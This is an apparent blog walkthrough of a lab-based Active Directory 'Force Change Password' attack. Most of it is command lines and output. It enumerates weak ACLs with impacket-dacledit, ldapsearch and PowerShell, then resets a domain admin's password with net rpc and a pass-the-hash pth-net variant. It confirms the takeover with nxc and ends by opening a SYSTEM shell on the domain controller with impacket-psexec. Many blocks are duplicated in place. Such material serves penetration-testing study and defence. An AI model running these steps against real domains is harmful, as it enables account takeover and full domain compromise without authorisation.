July 17, 2026
Active Directory Attacks — Force Change Password
Having GenericAll, AllExtendedRights, or the User-Force-Change-Password extended right over a user object allows an attacker to reset that…

By Osec
4 min read
Having GenericAll, AllExtendedRights, or the User-Force-Change-Password extended right over a user object allows an attacker to reset that user's password without knowing the existing one. Rather than stealing or cracking credentials, the attacker simply replaces the password with one of their choosing and immediately authenticates as the compromised user.
The User-Force-Change-Password extended right is specifically designed to allow administrators to reset users' forgotten passwords. However, when this permission is delegated to an untrusted principal or exposed through an ACL misconfiguration, it becomes a powerful account takeover primitive.
The impact of this attack depends on the privileges of the targeted account. Resetting the password of a standard user may provide an initial foothold for lateral movement, while compromising a privileged account can quickly lead to privilege escalation or even complete domain compromise.
Attack Prerequisites
To successfully perform a Force-Change-Password attack, the attacker must have one of the following rights over the target user object:
- User-Force-Change-Password (Extended Right)
- GenericAll
- AllExtendedRights
- WriteDACL (can be abused to grant the attacker the User-Force-Change-Password extended right or GenericAll)
- WriteOwner (can be abused to take ownership of the object and subsequently modify its DACL to obtain the required permissions)
The attacker must be able to communicate with a Domain Controller over LDAP, LDAPS, or another protocol capable of performing password reset operations.
With these requirements satisfied, the attacker can reset the target user's password to a value of their choosing and immediately authenticate as the compromised account.
Note:_ In graphical management tools such as Active Directory Users and Computers (ADUC), the User-Force-Change-Password extended right is displayed as Reset Password. Both names refer to the same permission._
Enumeration
The first step in the Force Change Password is to identify user objects over which we have password reset rights by enumerating Access Control Entries (ACEs) that grant the User-Force-Change-Password extended right, GenericAll, AllExtendedRights, WriteDACL, or WriteOwner.
you can find the scripts used in enumeration on my github
Linux
On Linux, BloodHound is the preferred tool for enumerating Active Directory attack paths and identifying ACL misconfigurations. Alternatives such as
impacket-dacleditcan also be used, but they are considerably slower .
Using impacket-dacledit to Enumerate a Single User :
impacket-dacledit -target-dn 'CN=lab_adm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL' -dc-ip 10.129.106.122 'INLANEFREIGHT.LOCAL/lowuser:password1' -action readimpacket-dacledit -target-dn 'CN=lab_adm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL' -dc-ip 10.129.106.122 'INLANEFREIGHT.LOCAL/lowuser:password1' -action readLook for ACEs that grant the User-Force-Change-Password extended right, GenericAll, AllExtendedRights, WriteDACL, or WriteOwner to one or more security principals under your control.
Alternatively, this process can be automated to audit multiple user objects across the domain :
ldapsearch -H ldap://10.129.106.122 -o ldif-wrap=no -x -D "lowuser@INLANEFREIGHT.LOCAL" -w 'password1' -b "DC=INLANEFREIGHT,DC=LOCAL" "(objectClass=user)" dn | grep ^dn: | sed 's/dn: //g' | ./daclAudit.sh -d 'INLANEFREIGHT.LOCAL/lowuser:password1' -dc 10.129.106.122 -p 'Domain Users' -p lowuserldapsearch -H ldap://10.129.106.122 -o ldif-wrap=no -x -D "lowuser@INLANEFREIGHT.LOCAL" -w 'password1' -b "DC=INLANEFREIGHT,DC=LOCAL" "(objectClass=user)" dn | grep ^dn: | sed 's/dn: //g' | ./daclAudit.sh -d 'INLANEFREIGHT.LOCAL/lowuser:password1' -dc 10.129.106.122 -p 'Domain Users' -p lowuserWindows
for a single user :
(Get-Acl "AD:CN=lab_adm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL").Access(Get-Acl "AD:CN=lab_adm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL").Accesslook for :
00299570-246d-11d0-a768-00aa006e0529which represent "User-Force-Change-Password"GenericAllAllExtendedRightsWriteDACLWriteOwner
Alternatively, use this custom script ( you can find it on my github ) to automate the process of finding exploitable ACEs.
dsquery * -limit 0 'DC=INLANEFREIGHT,DC=LOCAL' -filter '(objectClass=user)' | ForEach-Object { $_ -replace '"', '' } | .\Audit-DACLs.ps1 -Domain INLANEFREIGHT.LOCAL -DomainController 10.129.106.122 -c "Domain Users", lowuserdsquery * -limit 0 'DC=INLANEFREIGHT,DC=LOCAL' -filter '(objectClass=user)' | ForEach-Object { $_ -replace '"', '' } | .\Audit-DACLs.ps1 -Domain INLANEFREIGHT.LOCAL -DomainController 10.129.106.122 -c "Domain Users", lowuserExamples
linux :
ldapsearch -H ldap://10.129.106.122 -o ldif-wrap=no -x -D "lowuser@INLANEFREIGHT.LOCAL" -w 'password1' -b "DC=INLANEFREIGHT,DC=LOCAL" "(objectClass=user)" dn | grep ^dn: | sed 's/dn: //g' | ./daclAudit.sh -d 'INLANEFREIGHT.LOCAL/lowuser:password1' -dc 10.129.106.122 -p 'Domain Users' -p lowuser
Active Directory DACL Auditor
[ Automated Wrapper Utility for impacket-dacledit ]
[i] - DC Server: 10.129.106.122
[i] - Controlled Principal(s) : Domain Users,lowuser
[*] Processing : CN=Administrator,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN=Guest,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN=lab_adm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
ACE Type: ACCESS_ALLOWED_OBJECT_ACE
Permissions: User-Force-Change-Password
Trustee: Domain Users (S-1-5-21-3842939050-3880317879-2865463114-513)
--------------------------------------------------------------------
[*] Processing : CN=ACADEMY-EA-DC01,OU=Domain Controllers,DC=INLANEFREIGHT,DC=LOCALldapsearch -H ldap://10.129.106.122 -o ldif-wrap=no -x -D "lowuser@INLANEFREIGHT.LOCAL" -w 'password1' -b "DC=INLANEFREIGHT,DC=LOCAL" "(objectClass=user)" dn | grep ^dn: | sed 's/dn: //g' | ./daclAudit.sh -d 'INLANEFREIGHT.LOCAL/lowuser:password1' -dc 10.129.106.122 -p 'Domain Users' -p lowuser
Active Directory DACL Auditor
[ Automated Wrapper Utility for impacket-dacledit ]
[i] - DC Server: 10.129.106.122
[i] - Controlled Principal(s) : Domain Users,lowuser
[*] Processing : CN=Administrator,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN=Guest,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN=lab_adm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
ACE Type: ACCESS_ALLOWED_OBJECT_ACE
Permissions: User-Force-Change-Password
Trustee: Domain Users (S-1-5-21-3842939050-3880317879-2865463114-513)
--------------------------------------------------------------------
[*] Processing : CN=ACADEMY-EA-DC01,OU=Domain Controllers,DC=INLANEFREIGHT,DC=LOCALwindows :
dsquery * -limit 0 'DC=INLANEFREIGHT,DC=LOCAL' -filter '(objectClass=user)' | ForEach-Object { $_ -replace '"', '' } | .\Audit-DACLs.ps1 -Domain INLANEFREIGHT.LOCAL -DomainController 10.129.106.122 -c "Domain Users", lowuser
[*] - processing CN=Administrator,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[*] - processing CN=Guest,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[*] - processing CN=lab_adm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[+] - INLANEFREIGHT\Domain Users -> GenericAll (Allow)
[+] - INLANEFREIGHT\Domain Users -> GenericWrite (Allow)
[+] - INLANEFREIGHT\Domain Users -> GenericAll (Allow)
[+] - INLANEFREIGHT\Domain Users -> ExtendedRight -> User-Force-Change-Password (Allow)
[*] - processing CN=ACADEMY-EA-DC01,OU=Domain Controllers,DC=INLANEFREIGHT,DC=LOCAL
[*] - processing CN=krbtgt,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[*] - processing CN=ACADEMY-EA-MS01,OU=Web Servers,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
[*] - processing CN=ACADEMY-EA-WEB01,OU=Application,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCALdsquery * -limit 0 'DC=INLANEFREIGHT,DC=LOCAL' -filter '(objectClass=user)' | ForEach-Object { $_ -replace '"', '' } | .\Audit-DACLs.ps1 -Domain INLANEFREIGHT.LOCAL -DomainController 10.129.106.122 -c "Domain Users", lowuser
[*] - processing CN=Administrator,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[*] - processing CN=Guest,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[*] - processing CN=lab_adm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[+] - INLANEFREIGHT\Domain Users -> GenericAll (Allow)
[+] - INLANEFREIGHT\Domain Users -> GenericWrite (Allow)
[+] - INLANEFREIGHT\Domain Users -> GenericAll (Allow)
[+] - INLANEFREIGHT\Domain Users -> ExtendedRight -> User-Force-Change-Password (Allow)
[*] - processing CN=ACADEMY-EA-DC01,OU=Domain Controllers,DC=INLANEFREIGHT,DC=LOCAL
[*] - processing CN=krbtgt,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[*] - processing CN=ACADEMY-EA-MS01,OU=Web Servers,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
[*] - processing CN=ACADEMY-EA-WEB01,OU=Application,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCALAttack
Once a user object has been identified as vulnerable, the attack is straightforward. The attacker simply resets the target user's password to a value of their choosing using one of the previously identified permissions. As the original password is not required, the reset succeeds immediately, allowing the attacker to authenticate as the compromised user and inherit all privileges associated with the account.
demo:
Let's start by identifying a user object over which our attacker-controlled principals has the User-Force-Change-Password extended right, GenericAll, AllExtendedRights, WriteDACL, or WriteOwner permissions.
ldapsearch -H ldap://10.129.106.122 -o ldif-wrap=no -x -D "lowuser@INLANEFREIGHT.LOCAL" -w 'password1' -b "DC=INLANEFREIGHT,DC=LOCAL" "(objectClass=user)" dn | grep ^dn: | sed 's/dn: //g' | ./daclAudit.sh -d 'INLANEFREIGHT.LOCAL/lowuser:password1' -dc 10.129.106.122 -p 'Domain Users' -p lowuser
Active Directory DACL Auditor
[ Automated Wrapper Utility for impacket-dacledit ]
[i] - DC Server: 10.129.106.122
[i] - Controlled Principal(s) : Domain Users,lowuser
[*] Processing : CN=Administrator,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN=Guest,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN=lab_adm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
ACE Type: ACCESS_ALLOWED_OBJECT_ACE
Permissions: User-Force-Change-Password
Trustee: Domain Users (S-1-5-21-3842939050-3880317879-2865463114-513)
--------------------------------------------------------------------
...ldapsearch -H ldap://10.129.106.122 -o ldif-wrap=no -x -D "lowuser@INLANEFREIGHT.LOCAL" -w 'password1' -b "DC=INLANEFREIGHT,DC=LOCAL" "(objectClass=user)" dn | grep ^dn: | sed 's/dn: //g' | ./daclAudit.sh -d 'INLANEFREIGHT.LOCAL/lowuser:password1' -dc 10.129.106.122 -p 'Domain Users' -p lowuser
Active Directory DACL Auditor
[ Automated Wrapper Utility for impacket-dacledit ]
[i] - DC Server: 10.129.106.122
[i] - Controlled Principal(s) : Domain Users,lowuser
[*] Processing : CN=Administrator,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN=Guest,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN=lab_adm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
ACE Type: ACCESS_ALLOWED_OBJECT_ACE
Permissions: User-Force-Change-Password
Trustee: Domain Users (S-1-5-21-3842939050-3880317879-2865463114-513)
--------------------------------------------------------------------
...as we can see above, Domain Users group members has User-Force-Change-Password extended right over the user object lab_adm ( which is a domain admin btw )
our controlled security principal lowuser is a member of Domain Users group which means we can change the password of lab_adm without knowing the previous one !
let's do that, we can use net rpc in linux
net rpc password "lab_adm" -U 'INLANEFREIGHT.LOCAL/lowuser%password1' -S 10.129.106.122
Enter new password for lab_adm:net rpc password "lab_adm" -U 'INLANEFREIGHT.LOCAL/lowuser%password1' -S 10.129.106.122
Enter new password for lab_adm:you will be prompted with
Enter new password for lab_adm:enter the new password and hit enter, if it doesn't return any error that mean the attack succeed !
if you only have an NT Hash , you can use it with pth-net
pth-net rpc password "lab_adm" -U 'INLANEFREIGHT.LOCAL/lowuser%ffffffffffffffffffffffffffffffff:5835048ce94ad0564e29a924a03510ef' -S 10.129.106.122pth-net rpc password "lab_adm" -U 'INLANEFREIGHT.LOCAL/lowuser%ffffffffffffffffffffffffffffffff:5835048ce94ad0564e29a924a03510ef' -S 10.129.106.122in this case the NT Hash is : 5835048ce94ad0564e29a924a03510ef
in this case we set the password to password123 , let's see if it got changed :
nxc smb 10.129.106.122 -u lab_adm -p password123
SMB 10.129.106.122 445 ACADEMY-EA-DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB 10.129.106.122 445 ACADEMY-EA-DC01 [+] INLANEFREIGHT.LOCAL\lab_adm:password123 (Pwn3d!)nxc smb 10.129.106.122 -u lab_adm -p password123
SMB 10.129.106.122 445 ACADEMY-EA-DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB 10.129.106.122 445 ACADEMY-EA-DC01 [+] INLANEFREIGHT.LOCAL\lab_adm:password123 (Pwn3d!)we can get a SYSTEM shell on the DC as well, let's try it out
impacket-psexec INLANEFREIGHT.LOCAL/lab_adm:password123@INLANEFREIGHT.LOCALimpacket-psexec INLANEFREIGHT.LOCAL/lab_adm:password123@INLANEFREIGHT.LOCAL
The attack was successful. Starting from a low-privileged user account, we compromised a Domain Admin account by exploiting a misconfigured permission on the target user account that allowed us to perform a Force-Change-Password attack.
if you find this article useful , you can find more in this list : https://medium.com/@osec403/list/active-directory-attacks-1d7fde75eec1
Follow me on X : https://x.com/osec403
thanks :)